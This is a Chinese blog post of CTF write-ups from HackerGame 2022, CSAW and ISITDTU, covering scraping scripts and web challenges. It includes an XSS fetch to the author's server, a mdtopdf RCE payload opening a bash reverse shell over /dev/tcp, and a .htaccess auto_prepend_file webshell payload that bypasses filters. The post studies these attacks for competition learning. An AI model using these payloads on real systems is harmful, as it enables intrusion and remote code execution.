首页 > 其他分享 >CTF比赛复盘(三)

CTF比赛复盘(三)

时间:2022-11-19 19:14:11浏览次数:73  
标签:比赛 text flag re CTF cookie print php 复盘

HackerGame-2022

WEB

Xcaptcha

人机测试(bushi),要在一秒内回答三道特别大数字的加法问题来获得flag,编写脚本爬虫即可解决。首先要获取题目的html格式信息来提取加法问题,在访问题目网址之前要加上账号认证的cookie,格式为"session:xxxx",具体内容可以在访问题目网址时抓包得到。访问后会发现加法题目信息在 <label for=\"captcha1\"> 标签中,共有三个题目三个标签,一一获取后计算得到答案,再传给服务器即可获得flag。发送答案的包格式也可以抓包获取,使用post上传"captcha1-3"三个键的值即可。脚本如下:

from urllib import request
import requests
import re
cookie={'session':".eJwdkEtLQnEQxb_LXV9o3g-hxTVchIna64o7JSuzEkVRib57_xsMs5kz53c4P9VhdT5UvQrNTNANWDhIKdNqJlDRZMEQciKDCNHoNqWyAySZQY3dZ7qgigEQMhNTehnhYgugropZdwizzJQgwwBVc1QQtYxw_xdR1GrGiaQAUWCmRZPqFpEF0t3ImbWkI6MgN03JYsMCgIrmTIEF4kDiwDWmZQdJYmQxVkB3Qw8uGVJFlBUdq7o6bDer764LoOiNBk83tzfN_PZtvG_z2K6_HmcrGc5i-LKkq-d2Mm4_cISz3Xz4vhwcLs160JzfN58Pq7bfHnc4nb9yM3ubNDRaTLf7nfP9Yny5659P0S6b03X1-wchu1ws.Y1ODyQ.eH6ZK6FOisgl_WCDbqTlPPngAvQ"}
req=requests.session()
url="http://202.38.93.111:10047/xcaptcha"
html=req.get(url,cookies=cookie)

print(html.text)

captcha1=re.findall('<label for=\"captcha1\">([0-9]*\+[0-9]*)',html.text)
captcha2=re.findall('<label for=\"captcha2\">([0-9]*\+[0-9]*)',html.text)
captcha3=re.findall('<label for=\"captcha3\">([0-9]*\+[0-9]*)',html.text)
cap1=eval(captcha1[0])
cap2=eval(captcha2[0])
cap3=eval(captcha3[0])

ans={
    "captcha1":cap1,
    "captcha2":cap2,
    "captcha3":cap3
}
html=req.post(url,data=ans)
print(html.text)

得到flag:flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_619b077f58}

家目录里的秘密

VSC中的flag

flag在uer目录下的.config文件夹中,由于 grep -r flag ./* 命令不能包括隐藏文件,因此要么逐个文件夹尝试,要么直接使用VSCode打开该文件夹,然后全局搜索flag字符串。

Rclone里的flag

猜测flag在rclone配置文件flag2模块的密码中,rclone采用简单的可逆加密来对密码进行简单的替换,因此flag应该就在密码解密后的内容中,但不知道如何对密码进行解密。

旅行照片2.0

照片分析

image-20221022161654416

exif信息使用ExifTool工具查看,或者直接右键文件查看属性也可以(信息足够,但是有歧义,属性中ISO标记为ISO速度让人摸不着头脑。有问题的时第一问,EXIF版本信息为0231,但答案是2.31...

社工实践

红米note9 4G 2340x1080

APA 东京湾幕张度假酒店:日本千叶县千叶市美浜区

圆形建筑为千叶海洋球场,球场在酒店西面,飞机往北飞

起飞点为羽田国际机场

(HND) Haneda Airport Departures

CSAWCTF

Web

Word wide web

使用爬虫截取返回信息,用正则匹配寻找有效的 <a 标签,匹配href后的路径并重复访问,直到找到flag。网页会用cookie检测用户,相应头中有字段 "Set-Cookie" 表示新cookie的值,将cookie设置为相应的值后再次发送即可完成认证,最后停止即可得到flag

手动设置cookie:

import requests
import re

url="http://web.chal.csaw.io:5010"
reg="/stuff"
ck={"solChain":"stuff"}
cnt=0

while 1:
    strhtml = requests.get(url+reg,cookies=ck)  #设置cookie
    regs=re.findall("<a href=\"(/[^>\"]*)\">",strhtml.text) #寻找href
    cnt+=1
    headers=strhtml.headers
    print(headers)
    try:
        print(headers['Set-Cookie'])
        reg_one=re.findall("solChain=([^;]*)",headers['Set-Cookie'])    #提取新cookie
    except:
        print(cnt)
        print(strhtml.text) #回显flag
        print("no cookie!")
        break
    ck["solChain"]=reg_one[0]   #设置cookie
    print(ck)

    if len(regs)==0:
        print(cnt)
        break
    else:
        reg=regs[0]

用session保持会话自动存储cookie:

import requests
import re

req=requests.session()
url="http://web.chal.csaw.io:5010"
reg="/stuff"
cnt=0

while 1:
    strhtml = req.get(url+reg)  #设置cookie
    regs=re.findall("<a href=\"(/[^>\"]*)\">",strhtml.text) #寻找href
    cnt+=1

    if len(regs)==0:
        print(cnt)
        print(strhtml.text) #回显flag
        break
    else:
        reg=regs[0]

My little website

先访问自己的服务器,关闭一下防火墙先:CentOS-firewalld防火墙设置

<script>
fetch('http://myIp:23333');
</script>
Ncat: Connection from 35.88.90.167.
Ncat: Connection from 35.88.90.167:59630.
GET / HTTP/1.1
Host: myIp:23333
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.0 Safari/537.36
Accept: */*
Origin: http://localhost:44791
Referer: http://localhost:44791/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

得到的回显如上,接收到一些信息,如UA和Origin:host、referer和origin的区别

若是使用https协议访问服务器,会导致服务器接受到乱码信息

由于origin显示的是服务器的地址,因此它应该可以访问自己,尝试访问其本地的内容并将其渲染出来:

<script>
fetch('/')
	.then(response => response.text())
	.then(data => document.write(" <pre> "+data));
</script>

这里的主要问题在于如何将fetch到的内容渲染出来,一方面使用document.write(str)将字符串写入当前的文件中,另一方面fetch返回的response中 text() 函数对应于 json() 可以将访问得到响应内容的主体部分,也就是HTML内容以文本的形式返回回来。(一开始遇到的主要问题是不知道这个response到底把HTML内容放哪去了)由于写进去的是字符串内容,可以直接在前面连接一个 <pre> 标签,保留目标内容中的空白字符,使得展示的内容有缩进。(直接展示会合并空白字符导致可读性差)

进去以后会发现有个node.js存放依赖列表的package.json文件,其中有个依赖是"mdtopdf 4.0.0",搜索相关的CVE会发现它在5.0.0版本前有个RCE漏洞,直接搜索可找到PoC,将payload换成revshell内容即可:

---js
((require("child_process")).execSync("bash -c 'bash -i >& /dev/tcp/ip/23333 0>&1 '"))
---RCE

PoC中的第一个n其实是\n,而且这个漏洞看起来非常的奇怪,也不知道是怎么实现的rce(好像这诡异的注释都是RCE的原因)

由于默认的shell是sh,而sh没法revshell,因此手动用bash读取命令,最后的单双引号中至少要有一个前面有一个空格,否则就无法成功,原因不明。

得到shell后直接 cat /flag.txt 即可得到flag:CTF{pdf_c0nt1nu3s_70_5uCK}

ISITDTUCTF

WEB

UploadEz

网页源码:

<?php
//flag in flag
//Attempt to upload failed, you have to start over
if (!isset($_GET['shell']) || !isset($_GET['filename'])) {
    highlight_file(__FILE__);
    die();
}
$shell = $_GET['shell'];
if (preg_match('/(on|flag|index|cat|file)/i', $shell)) {
    die("Try hard broooooo !!!");
}
$filename = $_GET['filename'];
if (preg_match("/[^a-z.]/", $filename)) {
    die("Try hard broooooo !!!");
}

file_put_contents($filename, $shell . "\nWelcome to ISITDTU CTF 2022");
?>

有一个 file_put_contents($filename,$shell."\nWelcome to ISITDTU CTF 2022"); 效果是将shell中的内容接上一段文本写到filename文件中。因此相当于可以上传文件。

起初的思路是上传一个php脚本然后直接访问执行,但是在Apache的配置文件"000-default.conf"中:

<Location />
    AllowOverride all
    Require all granted
</Location>
<Location /index.php>
    php_admin_flag engine on
</Location>

服务器规定只对index.php进行php解析,尽管"index"没被过滤,但无法覆盖index.php。

留意到配置中打开了 AllowOverride all ,".htaccess"文件被启用了,所以可以通过上传".htaccess"来修改服务器配置,从而执行原本不能执行的php脚本。.htaccess:

php_value auto_prepend_fi\
le .htaccess
#<?php echo exec('nl /*'); ?>
#\
Welcome to ISITDTU CTF 2022#

php_value auto_prepend_file qwq.txt 会在主网页被解析之前先解析所选中的文件"qwq.txt",因此就可以执行木马命令。不合格式的内容会污染".htaccess"文件,导致服务器配置混乱,直接炸掉,因此需要用"#"注释掉脏内容。

"\"可以连接两行的内容(感觉是转义的跨行连接),一方面绕过对"file"字符的过滤,一方面注释掉连接的冗余内容(冗余内容前面有个换行,不能直接注释掉)。而解析php时"#"并不是注释,不影响php执行。

payload:

?filename=.htaccess&shell=php_value auto_prepend_fi\%0ale .htaccess %0a %23 <?php system('ca'.'t /fl'.'ag'); ?>%0a%23\

Little Tips:

  1. "?>"不能缺少,否则php解析会失败;
  2. exec 需要加上echo,且只会返回执行结果的第一项,最好采用 system()
  3. "\n#\"换成"#\\n"就戳啦;
  4. 输入时"#"要写成"%23",井号本身有特殊含义;
  5. GET传入键值时等号后的内容原样输入支持空格,因此引号也会被读入,同时框内的内容也不用反斜杠转义,因为可以采用URL编码,因此传反斜杠时会原样输入进去。

参考:.htaccess的使用技巧总结

标签:比赛,text,flag,re,CTF,cookie,print,php,复盘
From: https://www.cnblogs.com/Forest-set-you/p/16906768.html

相关文章

  • 2022弱口令实验室招新赛CTF赛道WriteUp
    Misc签到下载附件,得到一张二维码。扫码,然后根据提示“linux"操作系统,直接cat/flag,得到flag。EasyMisc下载得到EasyMisc附件,压缩包中有flag.docxWord打开,发现下......
  • BUUCTF之[GUET-CTF2019]--RE
    老样子,先查壳,ELF64而且发现Upx壳.Tips:现在只会最基本的upx-d脱壳,虽然现在不会OEP定律法,以后还是要面对的捏丢kali里面进行脱壳即可丢IDA继续分析首先看字符串窗口......
  • BUUCTF之2019红帽杯--easyre
    老样子,先查壳无壳,ELF64位,丢IDA继续分析即可首先看下字符串表,发现有一大串字符,还有很像Base64索引表的字符串来到主要逻辑函数首先发现,v12,v13,v14是一个大数组,不过......
  • unctfWP
    web:签到:,更改学号,找规律,用笔记本记录出现的数据。我太喜欢哔哩哔哩大学啦--中北大学:就往下面翻找flag,就会看见一个flag的语句,这个就是答案。ezgame-浙江师范大学:这个就......
  • Oracle的Pctfree
    1、创建一张表createtablestudent(student_idnumber);但是在pl/sql中查看却是以下的建表语句:--CreatetablecreatetableSTUDENT(student_idNUMBER)tab......
  • NSSCTF-SWPUCTF2021新生赛之fakerandom
    Day1NSSCTF[SWPUCTF2021新生赛]fakerandom下载源件之后是一个py文件,打开后源码如下随后看到了一个随机数种子,关于随机数种子的知识我了解的不多,只在学校的石头剪刀......
  • CTF取证总结(内存取证,磁盘取证)以及例题复现
    内存取证经常利用volatility分析取证文件后缀.raw、.vmem、.img常用命令(imageinfo,pslist,dumpfiles,memdump)可疑的进程(notepad,cmd)和磁盘取证结合起来考察了解部分操作系统......
  • CTFshow刷题日记-MISC-图片篇(下 24-51)文件结构与颜色通道
    文件结构篇misc24-bmp改高度提示:flag在图片上面bmp格式文件真flag在图片上面,改一下高度就可以看到了misc25-png改高度提示:flag在图片下面改高度即可misc26-crc32提示:flag还......
  • CTFshow刷题日记-WEB-PHP特性(下篇123-150)
    web123,125,126error_reporting(0);highlight_file(__FILE__);include("flag.php");$a=$_SERVER['argv'];$c=$_POST['fun'];if(isset($_POST['CTF_SHOW'])&&isset($_POST['C......
  • DESLearn-nepctf-cat
    des一些算法特征每次加密八个字节一些算法特征常量初始置换表58,50,42,34,26,18,10,2, 60,52,44,36,28,20,12,4, 62,54,46,38,30......